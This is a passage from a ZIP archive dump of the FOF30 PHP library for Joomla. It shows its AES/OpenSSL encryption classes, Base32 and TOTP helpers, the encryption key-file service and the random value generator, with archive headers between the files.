&& isset($props['option'])) { $result[] = 'option=' . $props['option']; } // Add the layout information to the route only if it's not 'default' if (!isset($parts['view']) && isset($props['view'])) { $result[] = 'view=' . $props['view']; if (!isset($parts['layout']) && isset($props['layout'])) { $result[] = 'layout=' . $props['layout']; } } // Add the format information to the URL only if it's not 'html' if (!isset($parts['format']) && isset($props['format']) && $props['format'] != 'html') { $result[] = 'format=' . $props['format']; } // Reconstruct the route if (!empty($route)) { $result[] = $route; } $result = 'index.php?' . implode('&', $result); } } else { $result = $route; } return Route::_($result); } } PK���\wA���fof30/Encrypt/Aes.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; use FOF30\Encrypt\AesAdapter\AdapterInterface; use FOF30\Encrypt\AesAdapter\OpenSSL; use FOF30\Utils\Phpfunc; /** * A simple abstraction to AES encryption * * Usage: * * // Create a new instance. The key is ignored – only use it if you have legacy encrypted content you need to decrypt * $aes = new Aes('ignored'); * // Set the password. Do not use uf you have legacy encrypted content you need to decrypt * $aes->setPassword('yourRealPassword'); * // Encrypt something. * $cipherText = $aes->encryptString($sourcePlainText); * // Decrypt something * $plainText = $aes->decryptString($sourceCipherText); */ class Aes { /** * The cipher key. * * @var string */ private $key = ''; /** * The AES encryption adapter in use. * * @var AdapterInterface */ private $adapter; /** * Initialise the AES encryption object. * * Note: If the key is not 16 bytes this class will do a stupid key expansion for legacy reasons (produce the * SHA-256 of the key string and throw away half of it). * * @param string $key The encryption key (password). It can be a raw key (16 bytes) or a passphrase. * @param int $strength Bit strength (128, 192 or 256) – ALWAYS USE 128 BITS. THIS PARAMETER IS DEPRECATED. * @param string $mode Encryption mode. Can be ebc or cbc. We recommend using cbc. * @param Phpfunc $phpfunc For testing */ public function __construct($key, $strength = 128, $mode = 'cbc', Phpfunc $phpfunc = null) { $this->adapter = new OpenSSL(); if (!$this->adapter->isSupported($phpfunc)) { throw new \RuntimeException('Your server does not have the PHP OpenSSL extension enabled. This is required for encryption handling.'); } $this->adapter->setEncryptionMode($mode, $strength); $this->setPassword($key, true); } /** * Is AES encryption supported by this PHP installation? * * @return boolean */ public static function isSupported(Phpfunc $phpfunc = null) { if (!is_object($phpfunc) || !($phpfunc instanceof $phpfunc)) { $phpfunc = new Phpfunc(); } $adapter = new OpenSSL(); if (!$adapter->isSupported($phpfunc)) { return false; } if (!$phpfunc->function_exists('base64_encode')) { return false; } if (!$phpfunc->function_exists('base64_decode')) { return false; } if (!$phpfunc->function_exists('hash_algos')) { return false; } $algorightms = $phpfunc->hash_algos(); if (!in_array('sha256', $algorightms)) { return false; } return true; } /** * Sets the password for this instance. * * WARNING: Do not use the legacy mode, it's insecure * * @param string $password The password (either user-provided password or binary encryption key) to use * @param bool $legacyMode True to use the legacy key expansion. We recommend against using it. */ public function setPassword($password, $legacyMode = false) { $this->key = $password; $passLength = strlen($password); if (function_exists('mb_strlen')) { $passLength = mb_strlen($password, 'ASCII'); } // Legacy mode was doing something stupid, requiring a key of 32 bytes. DO NOT USE LEGACY MODE! if ($legacyMode && ($passLength != 32)) { // Legacy mode: use the sha256 of the password $this->key = hash('sha256', $password, true); // We have to trim or zero pad the password (we end up throwing half of it away in Rijndael-128 / AES...) $this->key = $this->adapter->resizeKey($this->key, $this->adapter->getBlockSize()); } } /** * Encrypts a string using AES * * @param string $stringToEncrypt The plaintext to encrypt * @param bool $base64encoded Should I Base64-encode the result? * * @return string The cryptotext. Please note that the first 16 bytes of * the raw string is the IV (initialisation vector) which * is necessary for decoding the string. */ public function encryptString($stringToEncrypt, $base64encoded = true) { $blockSize = $this->adapter->getBlockSize(); $randVal = new Randval(); $iv = $randVal->generate($blockSize); $key = $this->getExpandedKey($blockSize, $iv); $cipherText = $this->adapter->encrypt($stringToEncrypt, $key, $iv); // Optionally pass the result through Base64 encoding if ($base64encoded) { $cipherText = base64_encode($cipherText); } // Return the result return $cipherText; } /** * Decrypts a ciphertext into a plaintext string using AES * * @param string $stringToDecrypt The ciphertext to decrypt. The first 16 bytes of the raw string must contain * the IV (initialisation vector). * @param bool $base64encoded Should I Base64-decode the data before decryption? * * @return string The plain text string */ public function decryptString($stringToDecrypt, $base64encoded = true) { if ($base64encoded) { $stringToDecrypt = base64_decode($stringToDecrypt); } // Extract IV $iv_size = $this->adapter->getBlockSize(); $iv = substr($stringToDecrypt, 0, $iv_size); $key = $this->getExpandedKey($iv_size, $iv); // Decrypt the data $plainText = $this->adapter->decrypt($stringToDecrypt, $key); return $plainText; } /** * @param $blockSize * @param $iv * * @return string */ public function getExpandedKey($blockSize, $iv) { $key = $this->key; $passLength = strlen($key); if (function_exists('mb_strlen')) { $passLength = mb_strlen($key, 'ASCII'); } if ($passLength != $blockSize) { $iterations = 1000; $salt = $this->adapter->resizeKey($iv, 16); $key = hash_pbkdf2('sha256', $this->key, $salt, $iterations, $blockSize, true); } return $key; } } if (!function_exists('hash_pbkdf2')) { function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false) { if (!in_array(strtolower($algo), hash_algos())) { trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING); } if (!is_numeric($count)) { trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING); } if (!is_numeric($length)) { trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING); } if ($count <= 0) { trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING); } if ($length < 0) { trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING); } $output = ''; $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1; for ($i = 1; $i <= $block_count; $i++) { $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true); for ($j = 1; $j < $count; $j++) { $xorsum ^= ($last = hash_hmac($algo, $last, $password, true)); } $output .= $xorsum; } if (!$raw_output) { $output = bin2hex($output); } return $length ? substr($output, 0, $length) : $output; } } PK���\.��n��$fof30/Encrypt/AesAdapter/OpenSSL.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt\AesAdapter; defined('_JEXEC') || die; use FOF30\Encrypt\Randval; use FOF30\Utils\Phpfunc; class OpenSSL extends AbstractAdapter implements AdapterInterface { /** * The OpenSSL options for encryption / decryption * * PHP 5.3 does not have the constants OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING. In fact, the parameter * is called $raw_data and is a boolean. Since integer 1 is equivalent to boolean TRUE in PHP we can get * away with initializing this parameter with the integer 1. * * @var int */ protected $openSSLOptions = 1; /** * The encryption method to use * * @var string */ protected $method = 'aes-128-cbc'; public function __construct() { /** * PHP 5.4 and later replaced the $raw_data parameter with the $options parameter. Instead of a boolean we need * to pass some flags. Here you go. * * Since PHP 5.3 does NOT have the relevant constants we must NOT run this bit of code under PHP 5.3. * * See http://stackoverflow.com/questions/24707007/using-openssl-raw-data-param-in-openssl-decrypt-with-php-5-3#24707117 */ if (version_compare(PHP_VERSION, '5.4.0', 'ge')) { $this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING; } } public function setEncryptionMode($mode = 'cbc', $strength = 128) { static $availableAlgorithms = null; static $defaultAlgo = 'aes-128-cbc'; if (!is_array($availableAlgorithms)) { $availableAlgorithms = openssl_get_cipher_methods(); foreach ([ 'aes-256-cbc', 'aes-256-ecb', 'aes-192-cbc', 'aes-192-ecb', 'aes-128-cbc', 'aes-128-ecb', ] as $algo) { if (in_array($algo, $availableAlgorithms)) { $defaultAlgo = $algo; break; } } } $strength = (int) $strength; $mode = strtolower($mode); if (!in_array($strength, [128, 192, 256])) { $strength = 256; } if (!in_array($mode, ['cbc', 'ebc'])) { $mode = 'cbc'; } $algo = 'aes-' . $strength . '-' . $mode; if (!in_array($algo, $availableAlgorithms)) { $algo = $defaultAlgo; } $this->method = $algo; } public function encrypt($plainText, $key, $iv = null) { $iv_size = $this->getBlockSize(); $key = $this->resizeKey($key, $iv_size); $iv = $this->resizeKey($iv, $iv_size); if (empty($iv)) { $randVal = new Randval(); $iv = $randVal->generate($iv_size); } $plainText .= $this->getZeroPadding($plainText, $iv_size); $cipherText = openssl_encrypt($plainText, $this->method, $key, $this->openSSLOptions, $iv); $cipherText = $iv . $cipherText; return $cipherText; } public function decrypt($cipherText, $key) { $iv_size = $this->getBlockSize(); $key = $this->resizeKey($key, $iv_size); $iv = substr($cipherText, 0, $iv_size); $cipherText = substr($cipherText, $iv_size); $plainText = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv); return $plainText; } public function isSupported(Phpfunc $phpfunc = null) { if (!is_object($phpfunc) || !($phpfunc instanceof $phpfunc)) { $phpfunc = new Phpfunc(); } if (!$phpfunc->function_exists('openssl_get_cipher_methods')) { return false; } if (!$phpfunc->function_exists('openssl_random_pseudo_bytes')) { return false; } if (!$phpfunc->function_exists('openssl_cipher_iv_length')) { return false; } if (!$phpfunc->function_exists('openssl_encrypt')) { return false; } if (!$phpfunc->function_exists('openssl_decrypt')) { return false; } if (!$phpfunc->function_exists('hash')) { return false; } if (!$phpfunc->function_exists('hash_algos')) { return false; } $algorightms = $phpfunc->openssl_get_cipher_methods(); if (!in_array('aes-128-cbc', $algorightms)) { return false; } $algorightms = $phpfunc->hash_algos(); if (!in_array('sha256', $algorightms)) { return false; } return true; } /** * @return int */ public function getBlockSize() { return openssl_cipher_iv_length($this->method); } } PK���\�*((,fof30/Encrypt/AesAdapter/AbstractAdapter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt\AesAdapter; defined('_JEXEC') || die; /** * Abstract AES encryption class */ abstract class AbstractAdapter { /** * Trims or zero-pads a key / IV * * @param string $key The key or IV to treat * @param int $size The block size of the currently used algorithm * * @return null|string Null if $key is null, treated string of $size byte length otherwise */ public function resizeKey($key, $size) { if (empty($key)) { return null; } $keyLength = strlen($key); if (function_exists('mb_strlen')) { $keyLength = mb_strlen($key, 'ASCII'); } if ($keyLength == $size) { return $key; } if ($keyLength > $size) { if (function_exists('mb_substr')) { return mb_substr($key, 0, $size, 'ASCII'); } return substr($key, 0, $size); } return $key . str_repeat("\0", ($size - $keyLength)); } /** * Returns null bytes to append to the string so that it's zero padded to the specified block size * * @param string $string The binary string which will be zero padded * @param int $blockSize The block size * * @return string The zero bytes to append to the string to zero pad it to $blockSize */ protected function getZeroPadding($string, $blockSize) { $stringSize = strlen($string); if (function_exists('mb_strlen')) { $stringSize = mb_strlen($string, 'ASCII'); } if ($stringSize == $blockSize) { return ''; } if ($stringSize < $blockSize) { return str_repeat("\0", $blockSize - $stringSize); } $paddingBytes = $stringSize % $blockSize; return str_repeat("\0", $blockSize - $paddingBytes); } } PK���\5×: -fof30/Encrypt/AesAdapter/AdapterInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt\AesAdapter; defined('_JEXEC') || die; use FOF30\Utils\Phpfunc; /** * Interface for AES encryption adapters */ interface AdapterInterface { /** * Sets the AES encryption mode. * * WARNING: The strength parameter is deprecated since FOF 3.1 and has no effect. * * @param string $mode Choose between CBC (recommended) or ECB * @param int $strength DEPRECATED AND UNUSED. * * @return mixed */ public function setEncryptionMode($mode = 'cbc', $strength = 128); /** * Encrypts a string. Returns the raw binary ciphertext. * * WARNING: The plaintext is zero-padded to the algorithm's block size. You are advised to store the size of the * plaintext and trim the string to that length upon decryption. * * @param string $plainText The plaintext to encrypt * @param string $key The raw binary key (will be zero-padded or chopped if its size is different * than the block size) * @param null|string $iv The initialization vector (for CBC mode algorithms) * * @return string The raw encrypted binary string. */ public function encrypt($plainText, $key, $iv = null); /** * Decrypts a string. Returns the raw binary plaintext. * * $ciphertext MUST start with the IV followed by the ciphertext, even for EBC data (the first block of data is * dropped in EBC mode since there is no concept of IV in EBC). * * WARNING: The returned plaintext is zero-padded to the algorithm's block size during encryption. You are advised * to trim the string to the original plaintext's length upon decryption. While rtrim($decrypted, "\0") sounds * appealing it's NOT the correct approach for binary data (zero bytes may actually be part of your plaintext, not * just padding!). * * @param string $cipherText The ciphertext to encrypt * @param string $key The raw binary key (will be zero-padded or chopped if its size is different than * the block size) * * @return string The raw unencrypted binary string. */ public function decrypt($cipherText, $key); /** * Returns the encryption block size in bytes * * @return int */ public function getBlockSize(); /** * Is this adapter supported? * * @return bool */ public function isSupported(Phpfunc $phpfunc = null); } PK���\� �fof30/Encrypt/Base32.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; use InvalidArgumentException; /** * Base32 encoding class, used by the TOTP */ class Base32 { /** * CSRFC3548 * * The character set as defined by RFC3548 * @link http://www.ietf.org/rfc/rfc3548.txt */ public const CSRFC3548 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; /** * Convert any string to a base32 string * This should be binary safe... * * @param string $str The string to convert * * @return string The converted base32 string */ public function encode($str) { return $this->fromBin($this->str2bin($str)); } /** * Convert any base32 string to a normal sctring * This should be binary safe... * * @param string $str The base32 string to convert * * @return string The normal string */ public function decode($str) { $str = strtoupper($str); return $this->bin2str($this->tobin($str)); } /** * Converts any ascii string to a binary string * * @param string $str The string you want to convert * * @return string String of 0's and 1's */ private function str2bin($str) { $chrs = unpack('C*', $str); return vsprintf(str_repeat('%08b', count($chrs)), $chrs); } /** * Converts a binary string to an ascii string * * @param string $str The string of 0's and 1's you want to convert * * @return string The ascii output * * @throws InvalidArgumentException */ private function bin2str($str) { if (strlen($str) % 8 > 0) { throw new InvalidArgumentException('Length must be divisible by 8'); } if (!preg_match('/^[01]+$/', $str)) { throw new InvalidArgumentException('Only 0\'s and 1\'s are permitted'); } preg_match_all('/.{8}/', $str, $chrs); $chrs = array_map('bindec', $chrs[0]); // I'm just being slack here array_unshift($chrs, 'C*'); return call_user_func_array('pack', $chrs); } /** * Converts a correct binary string to base32 * * @param string $str The string of 0's and 1's you want to convert * * @return string String encoded as base32 * * @throws InvalidArgumentException */ private function fromBin($str) { if (strlen($str) % 8 > 0) { throw new InvalidArgumentException('Length must be divisible by 8'); } if (!preg_match('/^[01]+$/', $str)) { throw new InvalidArgumentException('Only 0\'s and 1\'s are permitted'); } // Base32 works on the first 5 bits of a byte, so we insert blanks to pad it out $str = preg_replace('/(.{5})/', '000$1', $str); // We need a string divisible by 5 $length = strlen($str); $rbits = $length & 7; if ($rbits > 0) { // Excessive bits need to be padded $ebits = substr($str, $length - $rbits); $str = substr($str, 0, $length - $rbits); $str .= "000$ebits" . str_repeat('0', 5 - strlen($ebits)); } preg_match_all('/.{8}/', $str, $chrs); $chrs = array_map([$this, 'mapCharset'], $chrs[0]); return implode('', $chrs); } /** * Accepts a base32 string and returns an ascii binary string * * @param string $str The base32 string to convert * * @return string Ascii binary string * * @throws InvalidArgumentException */ private function toBin($str) { if (!preg_match('/^[' . self::CSRFC3548 . ']+$/', $str)) { throw new InvalidArgumentException('Base64 string must match character set'); } // Convert the base32 string back to a binary string $str = implode('', array_map([$this, 'mapBin'], str_split($str))); // Remove the extra 0's we added $str = preg_replace('/000(.{5})/', '$1', $str); // Remove padding if necessary $length = strlen($str); $rbits = $length & 7; if ($rbits > 0) { $str = substr($str, 0, $length - $rbits); } return $str; } /** * Used with array_map to map the bits from a binary string * directly into a base32 character set * * @param string $str The string of 0's and 1's you want to convert * * @return string Resulting base32 character * * @access private */ private function mapCharset($str) { // Huh! $x = self::CSRFC3548; return $x[bindec($str)]; } /** * Used with array_map to map the characters from a base32 * character set directly into a binary string * * @param string $chr The character to map * * @return string String of 0's and 1's * * @access private */ private function mapBin($chr) { return sprintf('%08b', strpos(self::CSRFC3548, $chr)); } } PK���\����� fof30/Encrypt/EncryptService.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Utils\Phpfunc; /** * Data encryption service for FOF-based components. * * This service allows you to transparently encrypt and decrypt *text* plaintext data. Use it to provide encryption for * sensitive or personal data stored in your database. Please remember: * * - The default behavior is to create a file with a random key on your component's root. If the file cannot be created * the encryption is turned off. * - The key file is only created when you access the service. If you never use this service nothing happens (for * backwards compatibility). * - You have to manually encrypt and decrypt data. It won't happen magically. * - Encrypted data cannot be searched unless you implement your own, slow, search algorithm. * - Data encryption is meant to be used on top of, not instead of, any other security measures for your site. * - Data encryption only protects against exploits targeting the database. If the attacker *also* gains read access to * your filesystem OR if the attacker gains read / write access to the filesystem the encryption won't protect you. * This is a full compromise of your site. At this point you're pwned and nothing can protect you. If you don't * understand this simple truth do NOT use encryption. * - This is meant as a simple and basic encryption layer. It has not been independently verified. Use at your own risk. * * This service has the following FOF application configuration parameters which can be declared under the "container" * key (e.g. the "name" attribute of the fof.xml elements under fof > common > container > option): * * - encrypt_key_file The path to the key file, relative to the component's backend root and WITHOUT the .php extension * - encrypt_key_const The constant for the key. By default it is COMPONENTNAME_FOF_ENCRYPT_SERVICE_SECRETKEY where * COMPONENTNAME corresponds to the uppercase com_componentname without the com_ prefix. * * @package FOF30\Encrypt * * @since 3.3.2 */ class EncryptService { /** * The component's container * * @var Container * @since 3.3.2 */ private $container; /** * The encryption engine used by this service * * @var Aes * @since 3.3.2 */ private $aes; /** * EncryptService constructor. * * @param Container $c The FOF component container * * @since 3.3.2 */ public function __construct(Container $c) { $this->container = $c; $this->initialize(); } /** * Encrypt the plaintext $data and return the ciphertext prefixed by ###AES128### * * @param string $data The plaintext data * * @return string The ciphertext, prefixed by ###AES128### * * @since 3.3.2 */ public function encrypt($data) { if (!is_object($this->aes)) { return $data; } $encrypted = $this->aes->encryptString($data, true); return '###AES128###' . $encrypted; } /** * Decrypt the ciphertext, prefixed by ###AES128###, and return the plaintext. * * @param string $data The ciphertext, prefixed by ###AES128### * * @return string The plaintext data * * @since 3.3.2 */ public function decrypt($data) { if (substr($data, 0, 12) != '###AES128###') { return $data; } $data = substr($data, 12); if (!is_object($this->aes)) { return $data; } $decrypted = $this->aes->decryptString($data, true); // Decrypted data is null byte padded. We have to remove the padding before proceeding. return rtrim($decrypted, "\0"); } /** * Initialize the AES cryptography object * * @return void * @since 3.3.2 * */ private function initialize() { if (is_object($this->aes)) { return; } $password = $this->getPassword(); if (empty($password)) { return; } $phpFunc = new Phpfunc(); $this->aes = new Aes($password, 128, 'cbc', $phpFunc); } /** * Returns the path to the secret key file * * @return string * * @since 3.3.2 */ private function getPasswordFilePath() { $default = 'encrypt_service_key'; $baseName = $this->container->appConfig->get('container.encrypt_key_file', $default); $baseName = trim($baseName, '/\\'); return $this->container->backEndPath . '/' . $baseName . '.php'; } /** * Get the name of the constant where the secret key is stored. Remember that this is searched first, before a new * key file is created. You can define this constant anywhere in your code loaded before the encryption service is * first used to prevent a key file being created. * * @return string * * @since 3.3.2 */ private function getConstantName() { $default = strtoupper($this->container->bareComponentName) . '_FOF_ENCRYPT_SERVICE_SECRETKEY'; return $this->container->appConfig->get('container.encrypt_key_const', $default); } /** * Returns the password used to encrypt information * * @return string * * @since 3.3.2 */ private function getPassword() { $constantName = $this->getConstantName(); // If we have already read the file just return the key if (defined($constantName)) { return constant($constantName); } // Do I have a secret key file? $filePath = $this->getPasswordFilePath(); // I can't get the path to the file. Cut our losses and assume we can get no key. if (empty($filePath)) { define($constantName, ''); return ''; } // If not, try to create one. if (!file_exists($filePath)) { $this->makePasswordFile(); } // We failed to create a new file? Cut our losses and assume we can get no key. if (!file_exists($filePath) || !is_readable($filePath)) { define($constantName, ''); return ''; } // Try to include the key file include_once $filePath; // The key file contains garbage. Treason! Cut our losses and assume we can get no key. if (!defined($constantName)) { define($constantName, ''); return ''; } // Finally, return the key which was defined in the file (happy path). return constant($constantName); } /** * Create a new secret key file using a long, randomly generated password. The password generator uses a crypto-safe * pseudorandom number generator (PRNG) to ensure suitability of the password for encrypting data at rest. * * @return void * * @since 3.3.2 */ private function makePasswordFile() { // Get the path to the new secret key file. $filePath = $this->getPasswordFilePath(); // I can't get the path to the file. Sorry. if (empty($filePath)) { return; } $phpFunc = new Phpfunc(); $randval = new Randval($phpFunc); $secretKey = $randval->getRandomPassword(64); $constantName = $this->getConstantName(); $fileContent = "<?" . 'ph' . "p\n\n"; $fileContent .= <<< END /** * This file is automatically generated. It contains a secret key used for encrypting data by the component. Please do * not remove, edit or manually replace this file. It will render your existing encrypted data unreadable forever. */ define('$constantName', '$secretKey'); END; $this->container->filesystem->fileWrite($filePath, $fileContent); } } PK���\��b**fof30/Encrypt/Totp.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; class Totp { /** * @var int The length of the resulting passcode (default: 6 digits) */ private $passCodeLength = 6; /** * @var number The PIN modulo. It is set automatically to log10(passCodeLength) */ private $pinModulo; /** * The length of the secret key, in characters (default: 10) * * @var int */ private $secretLength = 10; /** * The time step between successive TOTPs in seconds (default: 30 seconds) * * @var int */ private $timeStep = 30; /** * The Base32 encoder class * * @var Base32|null */ private $base32 = null; /** * Initialises an RFC6238-compatible TOTP generator. Please note that this * class does not implement the constraint in the last paragraph of §5.2 * of RFC6238. It's up to you to ensure that the same user/device does not * retry validation within the same Time Step. * * @param int $timeStep The Time Step (in seconds). Use 30 to be compatible with Google Authenticator. * @param int $passCodeLength The generated passcode length. Default: 6 digits. * @param int $secretLength The length of the secret key. Default: 10 bytes (80 bits). * @param Base32 $base32 The base32 en/decrypter */ public function __construct($timeStep = 30, $passCodeLength = 6, $secretLength = 10, Base32 $base32 = null) { $this->timeStep = $timeStep; $this->passCodeLength = $passCodeLength; $this->secretLength = $secretLength; $this->pinModulo = 10 ** $this->passCodeLength; if (is_null($base32)) { $this->base32 = new Base32(); } else { $this->base32 = $base32; } } /** * Get the time period based on the $time timestamp and the Time Step * defined. If $time is skipped or set to null the current timestamp will * be used. * * @param int|null $time Timestamp * * @return int The time period since the UNIX Epoch */ public function getPeriod($time = null) { if (is_null($time)) { $time = time(); } $period = floor($time / $this->timeStep); return $period; } /** * Check is the given passcode $code is a valid TOTP generated using secret * key $secret * * @param string $secret The Base32-encoded secret key * @param string $code The passcode to check * @param int $time The time to check it against. Leave null to check for the current server time. * * @return boolean True if the code is valid */ public function checkCode($secret, $code, $time = null) { $time = $this->getPeriod($time); for ($i = -1; $i <= 1; $i++) { if ($this->getCode($secret, ($time + $i) * $this->timeStep) == $code) { return true; } } return false; } /** * Gets the TOTP passcode for a given secret key $secret and a given UNIX * timestamp $time * * @param string $secret The Base32-encoded secret key * @param int $time UNIX timestamp * * @return string */ public function getCode($secret, $time = null) { $period = $this->getPeriod($time); $secret = $this->base32->decode($secret); $time = pack("N", $period); $time = str_pad($time, 8, chr(0), STR_PAD_LEFT); $hash = hash_hmac('sha1', $time, $secret, true); $offset = ord(substr($hash, -1)); $offset = $offset & 0xF; $truncatedHash = $this->hashToInt($hash, $offset) & 0x7FFFFFFF; $pinValue = str_pad($truncatedHash % $this->pinModulo, $this->passCodeLength, "0", STR_PAD_LEFT); return $pinValue; } /** * Returns a QR code URL for easy setup of TOTP apps like Google Authenticator * * @param string $user User * @param string $hostname Hostname * @param string $secret Secret string * * @return string */ public function getUrl($user, $hostname, $secret) { $url = sprintf("otpauth://totp/%s@%s?secret=%s", $user, $hostname, $secret); $encoder = "https://chart.googleapis.com/chart?chs=200x200&chld=Q|2&cht=qr&chl="; $encoderURL = $encoder . urlencode($url); return $encoderURL; } /** * Generates a (semi-)random Secret Key for TOTP generation * * @return string */ public function generateSecret() { $secret = ""; for ($i = 1; $i <= $this->secretLength; $i++) { $c = random_int(0, 255); $secret .= pack("c", $c); } return $this->base32->encode($secret); } /** * Extracts a part of a hash as an integer * * @param string $bytes The hash * @param string $start The char to start from (0 = first char) * * @return string */ protected function hashToInt($bytes, $start) { $input = substr($bytes, $start, strlen($bytes) - $start); $val2 = unpack("N", substr($input, 0, 4)); return $val2[1]; } } PK���\ yy"fof30/Encrypt/RandvalInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; interface RandvalInterface { /** * * Returns a cryptographically secure random value. * * @return string * */ public function generate(); } PK���\�����fof30/Encrypt/Randval.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Encrypt; defined('_JEXEC') || die; use FOF30\Utils\Phpfunc; /** * Generates cryptographically-secure random values. */ class Randval implements RandvalInterface { /** * @var Phpfunc */ protected $phpfunc; /** * * Constructor. * * @param Phpfunc $phpfunc An object to intercept PHP function calls; * this makes testing easier. * */ public function __construct(Phpfunc $phpfunc = null) { if (!is_object($phpfunc) || !($phpfunc instanceof Phpfunc)) { $phpfunc = new Phpfunc(); } $this->phpfunc = $phpfunc; } /** * * Returns a cryptographically secure random value. * * @param integer $bytes How many bytes to return * * @return string */ public function generate($bytes = 32) { if ($this->phpfunc->extension_loaded('openssl') && (version_compare(PHP_VERSION, '5.3.4') >= 0 || IS_WIN)) { $strong = false; $randBytes = openssl_random_pseudo_bytes($bytes, $strong); if ($strong) { return $randBytes; } } return $this->genRandomBytes($bytes); } /** * Generate random bytes. Adapted from Joomla! 3.2. * * @param integer $length Length of the random data to generate * * @return string Random binary data */ public function genRandomBytes($length = 32) { $length = (int) $length; $sslStr = ''; /* * Collect any entropy available in the system along with a number * of time measurements of operating system randomness. */ $bitsPerRound = 2; $maxTimeMicro = 400; $shaHashLength = 20; $randomStr = ''; $total = $length; // Check if we can use /dev/urandom. $urandom = false; $handle = null; // This is PHP 5.3.3 and up if ($this->phpfunc->function_exists('stream_set_read_buffer') && @is_readable('/dev/urandom')) { $handle = @fopen('/dev/urandom', 'rb'); if ($handle) { $urandom = true; } } while ($length > strlen($randomStr)) { $bytes = ($total > $shaHashLength) ? $shaHashLength : $total; $total -= $bytes; /* * Collect any entropy available from the PHP system and filesystem. * If we have ssl data that isn't strong, we use it once. */ $entropy = random_int(0, mt_getrandmax()) . uniqid(random_int(0, mt_getrandmax()), true) . $sslStr; $entropy .= implode('', @fstat(fopen(__FILE__, 'r'))); $entropy .= memory_get_usage(); $sslStr = ''; if ($urandom) { stream_set_read_buffer($handle, 0); $entropy .= @fread($handle, $bytes); } else { /* * There is no external source of entropy so we repeat calls * to mt_rand until we are assured there's real randomness in * the result. * * Measure the time that the operations will take on average. */ $samples = 3; $duration = 0; for ($pass = 0; $pass < $samples; ++$pass) { $microStart = microtime(true) * 1000000; $hash = sha1(random_int(0, mt_getrandmax()), true); for ($count = 0; $count < 50; ++$count) { $hash = sha1($hash, true); } $microEnd = microtime(true) * 1000000; $entropy .= $microStart . $microEnd; if ($microStart >= $microEnd) { $microEnd += 1000000; } $duration += $microEnd - $microStart; } $duration = $duration / $samples; /* * Based on the average time, determine the total rounds so that * the total running time is bounded to a reasonable number. */ $rounds = (int) (($maxTimeMicro / $duration) * 50); /* * Take additional measurements. On average we can expect * at least $bitsPerRound bits of entropy from each measurement. */ $iter = $bytes * (int) ceil(8 / $bitsPerRound); for ($pass = 0; $pass < $iter; ++$pass) { $microStart = microtime(true); $hash = sha1(random_int(0, mt_getrandmax()), true); for ($count = 0; $count < $rounds; ++$count) { $hash = sha1($hash, true); } $entropy .= $microStart . microtime(true); } } $randomStr .= sha1($entropy, true); } if ($urandom) { @fclose($handle); } return substr($randomStr, 0, $length); } /** * Return a randomly generated password using safe characters (a-z, A-Z, 0-9). * * @param int $length How many characters long should the password be. Default is 64. * * @return string * * @since 3.3.2 */ public function getRandomPassword($length = 64) { $salt = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $base = strlen($salt); $makepass = ''; /* * Start with a cryptographic strength random string, then convert it to * a string with the numeric base of the salt. * Shift the base conversion on each character so the character * distribution is even, and randomize the start shift so it's not * predictable. */ $random = $this->generate($length + 1); $shift = ord($random[0]); for ($i = 1; $i <= $length; ++$i) { $makepass .= $salt[($shift + ord($random[$i])) % $base]; $shift += ord($random[$i]); } return $makepass; } } PK���\*�1GGfof30/Input/Input.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Input; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Factory; use Joomla\CMS\Filter\InputFilter; use Joomla\CMS\Input\Input as JInput; use ReflectionObject; class Input extends JInput { /** * Public constructor. Overridden to allow specifying the global input array * to use as a string and instantiate from an object holding variables. * * @param array|string|object|null $source Source data; set null to use the default Joomla input source * @param array $options Filter options */ public function __construct($source = null, array $options = []) { $hash = null; if (is_string($source)) { $hash = strtoupper($source); if (!in_array($hash, ['GET', 'POST', 'FILES', 'COOKIE', 